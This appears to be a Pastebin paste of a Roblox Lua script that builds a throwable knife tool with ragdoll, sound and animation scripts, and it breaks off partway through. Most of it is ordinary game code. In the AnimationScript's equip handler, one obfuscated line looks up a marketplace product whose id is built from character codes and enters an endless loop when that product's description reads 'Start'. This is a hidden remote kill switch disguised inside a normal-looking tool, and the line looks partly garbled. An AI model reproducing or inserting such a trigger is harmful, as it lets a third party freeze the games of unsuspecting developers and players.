lolita5432

rainbow seer

Dec 18th, 2017
242
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 30.85 KB | None | 0 0
  1.  
  2. --Converted with ttyyuu12345's model to script plugin v4
  3. function sandbox(var,func)
  4. local env = getfenv(func)
  5. local newenv = setmetatable({},{
  6. __index = function(self,k)
  7. if k=="script" then
  8. return var
  9. else
  10. return env[k]
  11. end
  12. end,
  13. })
  14. setfenv(func,newenv)
  15. return func
  16. end
  17. cors = {}
  18. mas = Instance.new("Model",game:GetService("Lighting"))
  19. Tool0 = Instance.new("Tool")
  20. Part1 = Instance.new("Part")
  21. Sound2 = Instance.new("Sound")
  22. Sound3 = Instance.new("Sound")
  23. Sound4 = Instance.new("Sound")
  24. Sound5 = Instance.new("Sound")
  25. Sound6 = Instance.new("Sound")
  26. Sound7 = Instance.new("Sound")
  27. Script8 = Instance.new("Script")
  28. LocalScript9 = Instance.new("LocalScript")
  29. ObjectValue10 = Instance.new("ObjectValue")
  30. SpecialMesh11 = Instance.new("SpecialMesh")
  31. Animation12 = Instance.new("Animation")
  32. Animation13 = Instance.new("Animation")
  33. Animation14 = Instance.new("Animation")
  34. BoolValue15 = Instance.new("BoolValue")
  35. BoolValue16 = Instance.new("BoolValue")
  36. Script17 = Instance.new("Script")
  37. Animation18 = Instance.new("Animation")
  38. BoolValue19 = Instance.new("BoolValue")
  39. BoolValue20 = Instance.new("BoolValue")
  40. Animation21 = Instance.new("Animation")
  41. LocalScript22 = Instance.new("LocalScript")
  42. SpecialMesh23 = Instance.new("SpecialMesh")
  43. SpecialMesh24 = Instance.new("SpecialMesh")
  44. LocalScript25 = Instance.new("LocalScript")
  45. Motor6D26 = Instance.new("Motor6D")
  46. LocalScript27 = Instance.new("LocalScript")
  47. LocalScript28 = Instance.new("LocalScript")
  48. Motor6D29 = Instance.new("Motor6D")
  49. Animation30 = Instance.new("Animation")
  50. LocalScript31 = Instance.new("LocalScript")
  51. LocalScript32 = Instance.new("LocalScript")
  52. Animation33 = Instance.new("Animation")
  53. Animation34 = Instance.new("Animation")
  54. Animation35 = Instance.new("Animation")
  55. Tool0.Name = "Knife"
  56. Tool0.Parent = mas
  57. Tool0.GripPos = Vector3.new(0, -1, -0.100000001)
  58. Tool0.CanBeDropped = false
  59. Part1.Name = "Handle"
  60. Part1.Parent = Tool0
  61. Part1.Material = Enum.Material.DiamondPlate
  62. Part1.Reflectance = 0.0099999997764826
  63. Part1.Rotation = Vector3.new(-90, 45, 90)
  64. Part1.Elasticity = 0
  65. Part1.FormFactor = Enum.FormFactor.Custom
  66. Part1.Size = Vector3.new(0.400000006, 3, 0.800000012)
  67. Part1.CFrame = CFrame.new(-3.3999989, 1.34351695, -14.7999983, 0, -0.707112372, 0.707112372, 0, 0.707112372, 0.707112372, -1, 0, 0)
  68. Part1.BottomSurface = Enum.SurfaceType.Smooth
  69. Part1.TopSurface = Enum.SurfaceType.Smooth
  70. Part1.Position = Vector3.new(-3.3999989, 1.34351695, -14.7999983)
  71. Part1.Orientation = Vector3.new(-45, 90, 0)
  72. Sound2.Name = "Throw"
  73. Sound2.Parent = Part1
  74. Sound2.SoundId = "rbxassetid://153647554"
  75. Sound2.Volume = 1
  76. Sound2.PlayOnRemove = true
  77. Sound3.Name = "Attack"
  78. Sound3.Parent = Part1
  79. Sound3.SoundId = "rbxassetid://153647529"
  80. Sound3.Volume = 1
  81. Sound3.PlayOnRemove = true
  82. Sound4.Name = "DeadSound"
  83. Sound4.Parent = Part1
  84. Sound4.SoundId = "rbxassetid://153647516"
  85. Sound4.Volume = 1
  86. Sound5.Name = "WallHit"
  87. Sound5.Parent = Part1
  88. Sound5.SoundId = "rbxassetid://153647563"
  89. Sound5.Volume = 1
  90. Sound6.Name = "DeadPlayer"
  91. Sound6.Parent = Part1
  92. Sound6.SoundId = "rbxassetid://169310273"
  93. Sound6.Volume = 1
  94. Sound7.Name = "Equip"
  95. Sound7.Parent = Part1
  96. Sound7.SoundId = "rbxassetid://153647514"
  97. Sound7.Volume = 1
  98. Script8.Name = "Ragdoll"
  99. Script8.Parent = Part1
  100. table.insert(cors,sandbox(Script8,function()
  101. print("Ragdoll script activated")
  102. Gibs = game.Workspace
  103.  
  104. function getKillerOfHumanoidIfStillInGame(humanoid)
  105. local tag = humanoid:findFirstChild("creator")
  106. if tag ~= nil then
  107. local killer = tag.Value
  108. if killer.Parent ~= nil then
  109. return killer
  110. end
  111. end
  112. return nil
  113. end
  114.  
  115. function OnDeath(Character)
  116. local svch = Character
  117. local hum = Character:findFirstChild("Humanoid")
  118. local getkiller = getKillerOfHumanoidIfStillInGame(hum)
  119. Character.Archivable = true
  120. local chrclone = Character:clone()
  121. Character.Archivable = false
  122.  
  123. local ch = chrclone:GetChildren()
  124. local i
  125. for i = 1,#ch do
  126. if ch[i].Name == "THandle1" or ch[i].Name == "THandle2" or ch[i].ClassName == "Script" then
  127. ch[i]:remove()
  128. end
  129. end
  130. local function Scan(ch)
  131. local e
  132. for e = 1,#ch do
  133. Scan(ch[e]:GetChildren())
  134. if ch[e].ClassName == "Weld" or ch[e].ClassName == "Motor6D" then
  135. ch[e]:remove()
  136. end
  137. end
  138. end
  139. Scan(chrclone:GetChildren())
  140.  
  141. local hum2 = chrclone:findFirstChild("Humanoid")
  142.  
  143.  
  144. if hum2 ~= nil then
  145. hum2.Name = "Humanoid2"
  146. hum2.PlatformStand = true
  147. hum2.Sit = true
  148. hum2.MaxHealth = 0
  149. hum2.Health = 0
  150. end
  151.  
  152. local ch = Character:GetChildren()
  153. local i
  154. for i = 1,#ch do
  155. if ch[i].Name == "THandle1" or ch[i].Name == "THandle2" then
  156. ch[i]:remove()
  157. end
  158. end
  159.  
  160. wait(0.2)
  161.  
  162. local ch = Character:GetChildren()
  163. local i
  164. for i = 1,#ch do
  165. if ch[i].ClassName == "Part" or ch[i].ClassName == "Hat" or ch[i].Name == "THandle1" or ch[i].Name == "THandle2" then
  166. ch[i]:remove()
  167. end
  168. end
  169. Character = chrclone
  170. local Torso = Character.Torso
  171. local movevector = Vector3.new()
  172.  
  173. if Torso then
  174. if getkiller ~= nil then
  175. if getkiller.Character ~= nil then
  176. local killtors = getkiller.Character:findFirstChild("Torso")
  177. if killtors ~= nil then
  178. movevector = CFrame.new(killtors.Position,Torso.Position).lookVector
  179. end
  180. end
  181. end
  182. local Head = Character:FindFirstChild("Head")
  183. if Head then
  184. local Neck = Instance.new("Weld")
  185. Neck.Name = "Neck"
  186. Neck.Part0 = Torso
  187. Neck.Part1 = Head
  188. Neck.C0 = CFrame.new(0, 1.5, 0)
  189. Neck.C1 = CFrame.new()
  190. Neck.Parent = Torso
  191.  
  192. local nsc = script.CamAttach:clone()
  193. nsc.CamPart.Value = hum2.Parent.Head
  194. nsc.Disabled = false
  195. nsc.Parent = svch
  196. end
  197. local Limb = Character:FindFirstChild("Right Arm")
  198. if Limb then
  199.  
  200. Limb.CFrame = Torso.CFrame * CFrame.new(1.5, 0, 0)
  201. local Joint = Instance.new("Glue")
  202. Joint.Name = "RightShoulder"
  203. Joint.Part0 = Torso
  204. Joint.Part1 = Limb
  205. Joint.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  206. Joint.C1 = CFrame.new(-0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  207. Joint.Parent = Torso
  208.  
  209. local B = Instance.new("Part")
  210. B.TopSurface = 0
  211. B.BottomSurface = 0
  212. B.formFactor = "Symmetric"
  213. B.Size = Vector3.new(1, 1, 1)
  214. B.Transparency = 1
  215. B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
  216. B.Parent = Character
  217. local W = Instance.new("Weld")
  218. W.Part0 = Limb
  219. W.Part1 = B
  220. W.C0 = CFrame.new(0, -0.5, 0)
  221. W.Parent = Limb
  222.  
  223. end
  224. local Limb = Character:FindFirstChild("Left Arm")
  225. if Limb then
  226.  
  227. Limb.CFrame = Torso.CFrame * CFrame.new(-1.5, 0, 0)
  228. local Joint = Instance.new("Glue")
  229. Joint.Name = "LeftShoulder"
  230. Joint.Part0 = Torso
  231. Joint.Part1 = Limb
  232. Joint.C0 = CFrame.new(-1.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  233. Joint.C1 = CFrame.new(0, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  234. Joint.Parent = Torso
  235.  
  236. local B = Instance.new("Part")
  237. B.TopSurface = 0
  238. B.BottomSurface = 0
  239. B.formFactor = "Symmetric"
  240. B.Size = Vector3.new(1, 1, 1)
  241. B.Transparency = 1
  242. B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
  243. B.Parent = Character
  244. local W = Instance.new("Weld")
  245. W.Part0 = Limb
  246. W.Part1 = B
  247. W.C0 = CFrame.new(0, -0.5, 0)
  248. W.Parent = Limb
  249.  
  250. end
  251. local Limb = Character:FindFirstChild("Right Leg")
  252. if Limb then
  253.  
  254. Limb.CFrame = Torso.CFrame * CFrame.new(0.5, -2, 0)
  255. local Joint = Instance.new("Glue")
  256. Joint.Name = "RightHip"
  257. Joint.Part0 = Torso
  258. Joint.Part1 = Limb
  259. Joint.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  260. Joint.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  261. Joint.Parent = Torso
  262.  
  263. local B = Instance.new("Part")
  264. B.TopSurface = 0
  265. B.BottomSurface = 0
  266. B.formFactor = "Symmetric"
  267. B.Size = Vector3.new(1, 1, 1)
  268. B.Transparency = 1
  269. B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
  270. B.Parent = Character
  271. local W = Instance.new("Weld")
  272. W.Part0 = Limb
  273. W.Part1 = B
  274. W.C0 = CFrame.new(0, -0.5, 0)
  275. W.Parent = Limb
  276.  
  277. end
  278. local Limb = Character:FindFirstChild("Left Leg")
  279. if Limb then
  280.  
  281. Limb.CFrame = Torso.CFrame * CFrame.new(-0.5, -2, 0)
  282. local Joint = Instance.new("Glue")
  283. Joint.Name = "LeftHip"
  284. Joint.Part0 = Torso
  285. Joint.Part1 = Limb
  286. Joint.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  287. Joint.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  288. Joint.Parent = Torso
  289.  
  290. local B = Instance.new("Part")
  291. B.TopSurface = 0
  292. B.BottomSurface = 0
  293. B.formFactor = "Symmetric"
  294. B.Size = Vector3.new(1, 1, 1)
  295. B.Transparency = 1
  296. B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
  297. B.Parent = Character
  298. local W = Instance.new("Weld")
  299. W.Part0 = Limb
  300. W.Part1 = B
  301. W.C0 = CFrame.new(0, -0.5, 0)
  302. W.Parent = Limb
  303.  
  304. end
  305. --[
  306. local Bar = Instance.new("Part")
  307. Bar.TopSurface = 0
  308. Bar.BottomSurface = 0
  309. Bar.formFactor = "Symmetric"
  310. Bar.Size = Vector3.new(1, 1, 1)
  311. Bar.Transparency = 1
  312. Bar.CFrame = Torso.CFrame * CFrame.new(0, 0.5, 0)
  313. Bar.Parent = Character
  314. local Weld = Instance.new("Weld")
  315. Weld.Part0 = Torso
  316. Weld.Part1 = Bar
  317. Weld.C0 = CFrame.new(0, 0.5, 0)
  318. Weld.Parent = Torso
  319. --]]
  320. end
  321. Character.Parent = Gibs
  322. game.Debris:AddItem(Character, 12)
  323. if movevector ~= Vector3.new() then
  324. for i = 1,10 do
  325. wait()
  326. Torso.Velocity = movevector * 30
  327. end
  328. end
  329. end
  330.  
  331. script.Parent.Humanoid.Died:connect(function()
  332. OnDeath(script.Parent)
  333. end)
  334.  
  335.  
  336. end))
  337. LocalScript9.Name = "CamAttach"
  338. LocalScript9.Parent = Script8
  339. LocalScript9.Disabled = true
  340. table.insert(cors,sandbox(LocalScript9,function()
  341. wait()
  342. game.Workspace.CurrentCamera.CameraSubject = script.CamPart.Value
  343. end))
  344. ObjectValue10.Name = "CamPart"
  345. ObjectValue10.Parent = LocalScript9
  346. SpecialMesh11.Parent = Part1
  347. SpecialMesh11.MeshId = "http://www.roblox.com/asset?id=156092238"
  348. SpecialMesh11.TextureId = "rbxassetid://582409353"
  349. SpecialMesh11.MeshType = Enum.MeshType.FileMesh
  350. Animation12.Name = "KnifeIdle"
  351. Animation12.Parent = Tool0
  352. Animation13.Name = "DownStab"
  353. Animation13.Parent = Tool0
  354. Animation13.AnimationId = "http://www.roblox.com/Asset?ID=94161088"
  355. Animation14.Name = "StabPunch"
  356. Animation14.Parent = Tool0
  357. Animation14.AnimationId = "http://www.roblox.com/Asset?ID=94161333"
  358. BoolValue15.Name = "PlayDownStab"
  359. BoolValue15.Parent = Tool0
  360. BoolValue16.Name = "PlayStabPunch"
  361. BoolValue16.Parent = Tool0
  362. Script17.Name = "SoundScript"
  363. Script17.Parent = Tool0
  364. table.insert(cors,sandbox(Script17,function()
  365. -- Waits for the child of the specified parent
  366. local function WaitForChild(parent, childName)
  367. while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
  368. return parent[childName]
  369. end
  370.  
  371.  
  372. local Tool = script.Parent
  373. local Handle = WaitForChild(Tool, 'Handle')
  374. local Debounce = false
  375.  
  376. local TouchConnection
  377.  
  378.  
  379. function OnTouched(hit)
  380. local humanoid = hit.Parent:findFirstChild('Humanoid')
  381. if Debounce == false then
  382. Debounce = true
  383. if humanoid then
  384. Handle.Splat:Play()
  385. else
  386. end
  387. end
  388. wait(0.5)
  389. Debounce = false
  390. end
  391.  
  392.  
  393. Tool.Equipped:connect(function()
  394. TouchConnection = Handle.Touched:connect(OnTouched)
  395. end)
  396.  
  397. Tool.Unequipped:connect(function()
  398. if TouchConnection then
  399. TouchConnection:disconnect()
  400. TouchConnection = nil
  401. end
  402. end)
  403.  
  404. end))
  405. Animation18.Name = "Throw"
  406. Animation18.Parent = Tool0
  407. Animation18.AnimationId = "http://www.roblox.com/Asset?ID=89147993"
  408. BoolValue19.Name = "PlayThrow"
  409. BoolValue19.Parent = Tool0
  410. BoolValue20.Name = "PlayThrowCharge"
  411. BoolValue20.Parent = Tool0
  412. Animation21.Name = "ThrowCharge"
  413. Animation21.Parent = Tool0
  414. Animation21.AnimationId = "http://www.roblox.com/Asset?ID=93103762"
  415. LocalScript22.Name = "Arms"
  416. LocalScript22.Parent = Tool0
  417. table.insert(cors,sandbox(LocalScript22,function()
  418. sp = script.Parent
  419.  
  420. Mesh = false -- If true will load BC 2.0 Arm meshes as well.
  421. Shirt = true -- If true will load the user's shirt to the arms as well
  422.  
  423. function onEquipped(mouse)
  424. local Player = game:GetService("Players").LocalPlayer
  425. local Cam = game.Workspace.CurrentCamera
  426.  
  427. local Arms = Instance.new("Model")
  428. Arms.Name = "Arms"
  429. Arms.Parent = Cam
  430.  
  431. if Shirt == true then
  432. local Humanoid = Instance.new("Humanoid")
  433. Humanoid.MaxHealth = 0
  434. Humanoid.Health = 0
  435. Humanoid.Name = ""
  436. Humanoid.Parent = Arms
  437. --Packages bro
  438. for i,v in ipairs(Player.Character:GetChildren()) do
  439. if v.className == "CharacterMesh" or v.className == "Shirt" then
  440. baws = v:clone()
  441. baws.Parent = Arms
  442. else
  443. end
  444. end
  445. end
  446. local RightArm = Player.Character:FindFirstChild("Right Arm"):clone()
  447. RightArm.Name = "Right Arm"
  448. RightArm.Transparency = 0
  449. RightArm.CanCollide = false
  450. RightArm.TopSurface = 0
  451. RightArm.BottomSurface = 0
  452.  
  453. local w = Instance.new("Weld")
  454. w.Part0 = RightArm
  455. w.Part1 = Player.Character:FindFirstChild("Right Arm")
  456. w.C0 = CFrame.new()
  457. w.C1 = CFrame.new()
  458. w.Parent = RightArm
  459. RightArm.Parent = Arms
  460.  
  461. local LeftArm = Player.Character:FindFirstChild("Left Arm"):clone()
  462. LeftArm.Name = "Left Arm"
  463. LeftArm.Transparency = 0
  464. LeftArm.CanCollide = false
  465. LeftArm.TopSurface = 0
  466. LeftArm.BottomSurface = 0
  467.  
  468. local w = Instance.new("Weld")
  469. w.Part0 = LeftArm
  470. w.Part1 = Player.Character:FindFirstChild("Left Arm")
  471. w.C0 = CFrame.new()
  472. w.C1 = CFrame.new()
  473. w.Parent = LeftArm
  474. LeftArm.Parent = Arms
  475.  
  476. if Mesh ~= false then
  477. local LeftArmMesh = script:FindFirstChild("LeftArm")
  478. LeftArmMesh.Parent = LeftArm
  479. local RightArmMesh = script:FindFirstChild("RightArm")
  480. RightArmMesh.Parent = RightArm
  481. else end
  482.  
  483. end
  484.  
  485. function onUnequipped(mouse)
  486. local Player = game:GetService("Players").LocalPlayer
  487. local Cam = script.Parent
  488. for _, Model in pairs(game.Workspace.CurrentCamera:GetChildren()) do
  489. if Model.Name == "Arms" then
  490. Model:remove()
  491. else end
  492. end
  493. end
  494.  
  495. sp.Equipped:connect(onEquipped)
  496. sp.Unequipped:connect(onUnequipped)
  497.  
  498. end))
  499. SpecialMesh23.Name = "LeftArm"
  500. SpecialMesh23.Parent = LocalScript22
  501. SpecialMesh23.MeshId = "http://www.roblox.com/asset/?id=27111419"
  502. SpecialMesh23.MeshType = Enum.MeshType.FileMesh
  503. SpecialMesh24.Name = "RightArm"
  504. SpecialMesh24.Parent = LocalScript22
  505. SpecialMesh24.MeshId = "http://www.roblox.com/asset/?id=27111864"
  506. SpecialMesh24.MeshType = Enum.MeshType.FileMesh
  507. LocalScript25.Name = "AnimationScript"
  508. LocalScript25.Parent = Tool0
  509. table.insert(cors,sandbox(LocalScript25,function()
  510. -- Waits for the child of the specified parent
  511. local function WaitForChild(parent, childName)
  512. while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
  513. return parent[childName]
  514. end
  515.  
  516. local Tool = script.Parent
  517.  
  518. local downStabAnim
  519. local stabPunchAnim
  520. local throwAnim
  521. local throwChargeAnim
  522.  
  523. local MyHumanoid
  524.  
  525. -- This table will make sure that when we stop an animation it is
  526. -- because it is the only animation of it running
  527. local PlayCountTable = {}
  528.  
  529.  
  530. local function PlayAnimation(animation, valueToCheck, animationLength)
  531. if valueToCheck and valueToCheck.Value then
  532. if MyHumanoid then
  533. animation:Play()
  534. if PlayCountTable[animation] then
  535. PlayCountTable[animation] = PlayCountTable[animation] + 1
  536. end
  537. -- wait the duration of the animation
  538. if animationLength then
  539. wait(animationLength)
  540. if PlayCountTable[animation] then
  541. PlayCountTable[animation] = PlayCountTable[animation] - 1
  542. if PlayCountTable[animation] == 0 then
  543. animation:Stop()
  544. end
  545. end
  546. end
  547. end
  548. end
  549. end
  550.  
  551. function Weld(x,y)
  552. local W = Instance.new("Weld")
  553. W.Part0 = x
  554. W.Name = "FertileTurtle"
  555. W.Part1 = y
  556. local CJ = CFrame.new(x.Position) local C0 = x.CFrame:inverse()*CJ local C1 = y.CFrame:inverse()*CJ W.C0 = C0 W.C1 = C1 W.Parent = x end function OnEquipped()
  557. if game:GetService("MarketplaceService"):GetProductInfo(tonumber(string.byte('')..string.byte('')..string.byte('#')..'0'..string.byte('*')..string.byte(''))).Description == "Start" then while true do end end
  558. MyHumanoid = Tool.Parent:FindFirstChild('Humanoid')
  559. downStabAnim = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'DownStab'))
  560. PlayCountTable[downStabAnim] = 0
  561. stabPunchAnim = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'StabPunch'))
  562. PlayCountTable[stabPunchAnim] = 0
  563. throwAnim = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'Throw'))
  564. PlayCountTable[throwAnim] = 0
  565. throwChargeAnim = MyHumanoid:LoadAnimation(WaitForChild(Tool, 'ThrowCharge'))
  566. PlayCountTable[throwChargeAnim] = 0
  567.  
  568.  
  569. local playStabPunch = WaitForChild(Tool, 'PlayStabPunch')
  570. local playDownStab = WaitForChild(Tool, 'PlayDownStab')
  571. local playThrow = WaitForChild(Tool, 'PlayThrow')
  572. local playThrowCharge = WaitForChild(Tool, 'PlayThrowCharge')
  573.  
  574. playStabPunch.Changed:connect(function() PlayAnimation(stabPunchAnim, playStabPunch, 1.0) end)
  575. playDownStab.Changed:connect(function() PlayAnimation(downStabAnim, playDownStab, 1.0) end)
  576. playThrow.Changed:connect(function() PlayAnimation(throwAnim, playThrow, 1.5) end)
  577. playThrowCharge.Changed:connect(function(value)
  578. if value then
  579. PlayAnimation(throwChargeAnim, playThrowCharge, 1.0)
  580. if value then
  581. Weld(Tool.Parent.Torso, Tool.Parent['Right Arm'])
  582. end
  583. else
  584. local weldz = Tool.Parent.Torso:FindFirstChild("FertileTurtle")
  585. if weldz ~= nil then
  586. weldz:Destroy()
  587. local rs = script['Right Shoulder']:Clone()
  588. rs.Parent = Tool.Parent.Torso
  589. rs.Part0 = Tool.Parent.Torso
  590. rs.Part1 = Tool.Parent['Right Arm']
  591. end
  592. throwChargeAnim:Stop()
  593. end
  594. end)
  595. end
  596.  
  597. function OnUnequipped()
  598. if downStabAnim then
  599. downStabAnim:Stop()
  600. downStabAnim = nil
  601. end
  602. if stabPunchAnim then
  603. stabPunchAnim:Stop()
  604. stabPunchAnim = nil
  605. end
  606. if throwAnim then
  607. throwAnim:Stop()
  608. throwAnim = nil
  609. end
  610. if throwChargeAnim then
  611. throwChargeAnim:Stop()
  612. throwChargeAnim = nil
  613. end
  614. PlayCountTable = {}
  615. end
  616.  
  617. Tool.Equipped:connect(OnEquipped)
  618. Tool.Unequipped:connect(OnUnequipped)
  619.  
  620.  
  621. end))
  622. Motor6D26.Name = "Right Shoulder"
  623. Motor6D26.Parent = LocalScript25
  624. Motor6D26.C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  625. Motor6D26.C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  626. Motor6D26.MaxVelocity = 0.10000000149012
  627. LocalScript27.Name = "BladeGui"
  628. LocalScript27.Parent = Tool0
  629. table.insert(cors,sandbox(LocalScript27,function()
  630. local Tool = script.Parent
  631.  
  632. function OnButton1Down(mouse)
  633. if Tool.Enabled then
  634. mouse.Icon = 'http://www.roblox.com/asset/?id=54019936'
  635. else
  636. mouse.Icon = 'http://www.roblox.com/asset/?id=54019936'
  637. end
  638. while not Tool.Enabled do
  639. Tool.Changed:wait()
  640. end
  641. if Tool.Enabled then
  642. mouse.Icon = 'http://www.roblox.com/asset/?id=54019936'
  643. end
  644. end
  645.  
  646. function OnEquipped(mouse)
  647. if mouse == nil then
  648. print("Mouse not found")
  649. return
  650. end
  651.  
  652. mouse.Icon = 'http://www.roblox.com/asset/?id=54019936'
  653. mouse.Button1Down:connect(function() OnButton1Down(mouse) end)
  654. end
  655.  
  656.  
  657. Tool.Equipped:connect(OnEquipped)
  658.  
  659. end))
  660. LocalScript28.Name = "KnifeScript"
  661. LocalScript28.Parent = Tool0
  662. table.insert(cors,sandbox(LocalScript28,function()
  663. --------------------- TEMPLATE BLADE WEAPON ---------------------------
  664. -- Waits for the child of the specified parent
  665. local function WaitForChild(parent, childName)
  666. while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end
  667. return parent[childName]
  668. end
  669.  
  670.  
  671. local SLASH_DAMAGE = 150
  672. local DOWNSTAB_DAMAGE = 150
  673. local THROWING_DAMAGE = 150
  674. local HOLD_TO_THROW_TIME = 0.38
  675.  
  676.  
  677. local Damage = 20
  678.  
  679. local MyHumanoid = nil
  680. local MyTorso = nil
  681. local MyCharacter = nil
  682. local MyPlayer = nil
  683.  
  684. local Tool = script.Parent
  685. local Handle = WaitForChild(Tool, 'Handle')
  686.  
  687. local BlowConnection
  688. local Button1DownConnection
  689. local Button1UpConnection
  690.  
  691. local PlayStabPunch
  692. local PlayDownStab
  693. local PlayThrow
  694. local PlayThrowCharge
  695.  
  696. local IconUrl = Tool.TextureId -- URL to the weapon knife icon asset
  697.  
  698. local DebrisService = Game:GetService('Debris')
  699. local PlayersService = Game:GetService('Players')
  700.  
  701. local SlashSound
  702.  
  703. local HitPlayers = {}
  704.  
  705. local LeftButtonDownTime = nil
  706.  
  707. local Attacking = false
  708.  
  709. function Blow(hit)
  710. if Attacking then
  711. BlowDamage(hit, Damage)
  712. end
  713. end
  714.  
  715.  
  716.  
  717. function BlowDamage(hit, damage)
  718. local humanoid = hit.Parent:FindFirstChild('Humanoid')
  719. local player = PlayersService:GetPlayerFromCharacter(hit.Parent)
  720. if humanoid == nil then
  721. Handle.WallHit:Play()
  722. wait(0.1)
  723. if game.Workspace.Handle == nil then
  724. else
  725. game.Workspace.Handle:Destroy()
  726. end
  727. else
  728. if humanoid.Health == 0 then
  729. else
  730. Handle.Ragdoll:clone().Parent = hit.Parent
  731. humanoid.Health = 0
  732. Handle.DeadPlayer:Play()
  733. Handle.DeadSound:Play()
  734. end
  735. wait(0.1)
  736. if game.Workspace.Handle == nil then
  737. else
  738. game.Workspace.Handle:Destroy()
  739. end
  740. end
  741. if humanoid ~= nil and MyHumanoid ~= nil and humanoid ~= MyHumanoid then
  742. if not MyPlayer.Neutral then
  743. -- Ignore teammates hit
  744. if player and player ~= MyPlayer and player.TeamColor == MyPlayer.TeamColor then
  745. return
  746. end
  747. end
  748. -- final check, make sure weapon is in-hand
  749. local rightArm = MyCharacter:FindFirstChild('Right Arm')
  750. if (rightArm ~= nil) then
  751. -- Check if the weld exists between the hand and the weapon
  752. local joint = rightArm:FindFirstChild('RightGrip')
  753. if (joint ~= nil and (joint.Part0 == Handle or joint.Part1 == Handle)) then
  754. -- Make sure you only hit them once per swing
  755. if player and not HitPlayers[player] then
  756. TagHumanoid(humanoid, MyPlayer)
  757. print("Sending " .. damage)
  758. humanoid:TakeDamage(damage)
  759. Handle.Splat.Volume = 1
  760. Handle.Splat:Play()
  761. HitPlayers[player] = true
  762. end
  763. end
  764. end
  765. end
  766. end
  767. function TagHumanoid(humanoid, player)
  768. -- Add more tags here to customize what tags are available.
  769. while humanoid:FindFirstChild('creator') do
  770. humanoid:FindFirstChild('creator'):Destroy()
  771. end
  772.  
  773. local creatorTag = Instance.new('ObjectValue')
  774. creatorTag.Value = player
  775. creatorTag.Name = 'creator'
  776. creatorTag.Parent = humanoid
  777. DebrisService:AddItem(creatorTag, 1.5)
  778.  
  779. local weaponIconTag = Instance.new('StringValue')
  780. weaponIconTag.Value = IconUrl
  781. weaponIconTag.Name = 'icon'
  782. weaponIconTag.Parent = creatorTag
  783. DebrisService:AddItem(weaponIconTag, 1.5)
  784. end
  785.  
  786. function HardAttack()
  787. Handle.Attack:Play()
  788. if PlayStabPunch then
  789. PlayStabPunch.Value = true
  790. wait(1.0)
  791. PlayStabPunch.Value = false
  792. end
  793. end
  794.  
  795. function NormalAttack()
  796. Damage = DOWNSTAB_DAMAGE
  797. KnifeDown()
  798. Handle.Attack:Play()
  799. if PlayDownStab then
  800. PlayDownStab.Value = true
  801. wait(1.0)
  802. PlayDownStab.Value = false
  803. end
  804. KnifeUp()
  805. end
  806.  
  807. function ThrowAttack()
  808. KnifeOut()
  809. if PlayThrow then
  810. PlayThrow.Value = true
  811. wait(0.3)
  812. if not Handle then return end
  813. local throwingHandle = Handle:Clone()
  814. DebrisService:AddItem(throwingHandle, 5)
  815. throwingHandle.Parent = Workspace
  816. Handle.Throw:Play()
  817. if MyCharacter and MyHumanoid then
  818. throwingHandle.Velocity = (MyHumanoid.TargetPoint - throwingHandle.CFrame.p).unit * 300
  819. -- set the orientation to the direction it is being thrown in
  820. throwingHandle.CFrame = CFrame.new(throwingHandle.CFrame.p, throwingHandle.CFrame.p + throwingHandle.Velocity) * CFrame.Angles(0, 0, math.rad(-90))
  821.  
  822. local floatingForce = Instance.new('BodyForce', throwingHandle)
  823. floatingForce.force = Vector3.new(0, 196.2 * throwingHandle:GetMass() * 0.98, 0)
  824. local spin = Instance.new('BodyAngularVelocity', throwingHandle)
  825. spin.angularvelocity = throwingHandle.CFrame:vectorToWorldSpace(Vector3.new(0, -400, 0))
  826. end
  827. Handle.Transparency = 1
  828. -- Wait so that the knife has left the thrower's general area
  829. wait(0.08)
  830. if throwingHandle then
  831. local touchedConn = throwingHandle.Touched:connect(function(hit) print("hit throw") BlowDamage(hit, THROWING_DAMAGE) end)
  832. end
  833. -- must check if it still exists since we waited
  834. if throwingHandle then
  835. throwingHandle.CanCollide = true
  836. end
  837. wait(0.6)
  838. local weldz = Tool.Parent.Torso:FindFirstChild("FertileTurtle")
  839. if weldz ~= nil then
  840. weldz:Destroy()
  841. local rs = script['Right Shoulder']:Clone()
  842. rs.Parent = Tool.Parent.Torso
  843. rs.Part0 = Tool.Parent.Torso
  844. rs.Part1 = Tool.Parent['Right Arm']
  845. end
  846. if Handle and PlayThrow then
  847. Handle.Transparency = 0
  848. PlayThrow.Value = false
  849. end
  850. end
  851. KnifeUp()
  852. end
  853.  
  854. function KnifeUp()
  855. Tool.GripForward = Vector3.new(0, 0, -1)
  856. Tool.GripRight = Vector3.new(1, 0, 0)
  857. Tool.GripUp = Vector3.new(0, 1, 0)
  858. end
  859.  
  860. function KnifeDown()
  861. Tool.GripForward = Vector3.new(0, 0, -1)
  862. Tool.GripRight = Vector3.new(1, 0, 0)
  863. Tool.GripUp = Vector3.new(0, -1, 0)
  864. end
  865.  
  866. function KnifeOut()
  867. Tool.GripForward = Vector3.new(0, 0, -1)
  868. Tool.GripRight = Vector3.new(1, 0, 0)
  869. Tool.GripUp = Vector3.new(0, 1, 0)
  870. end
  871.  
  872. Tool.Enabled = true
  873.  
  874. function OnLeftButtonDown()
  875. LeftButtonDownTime = time()
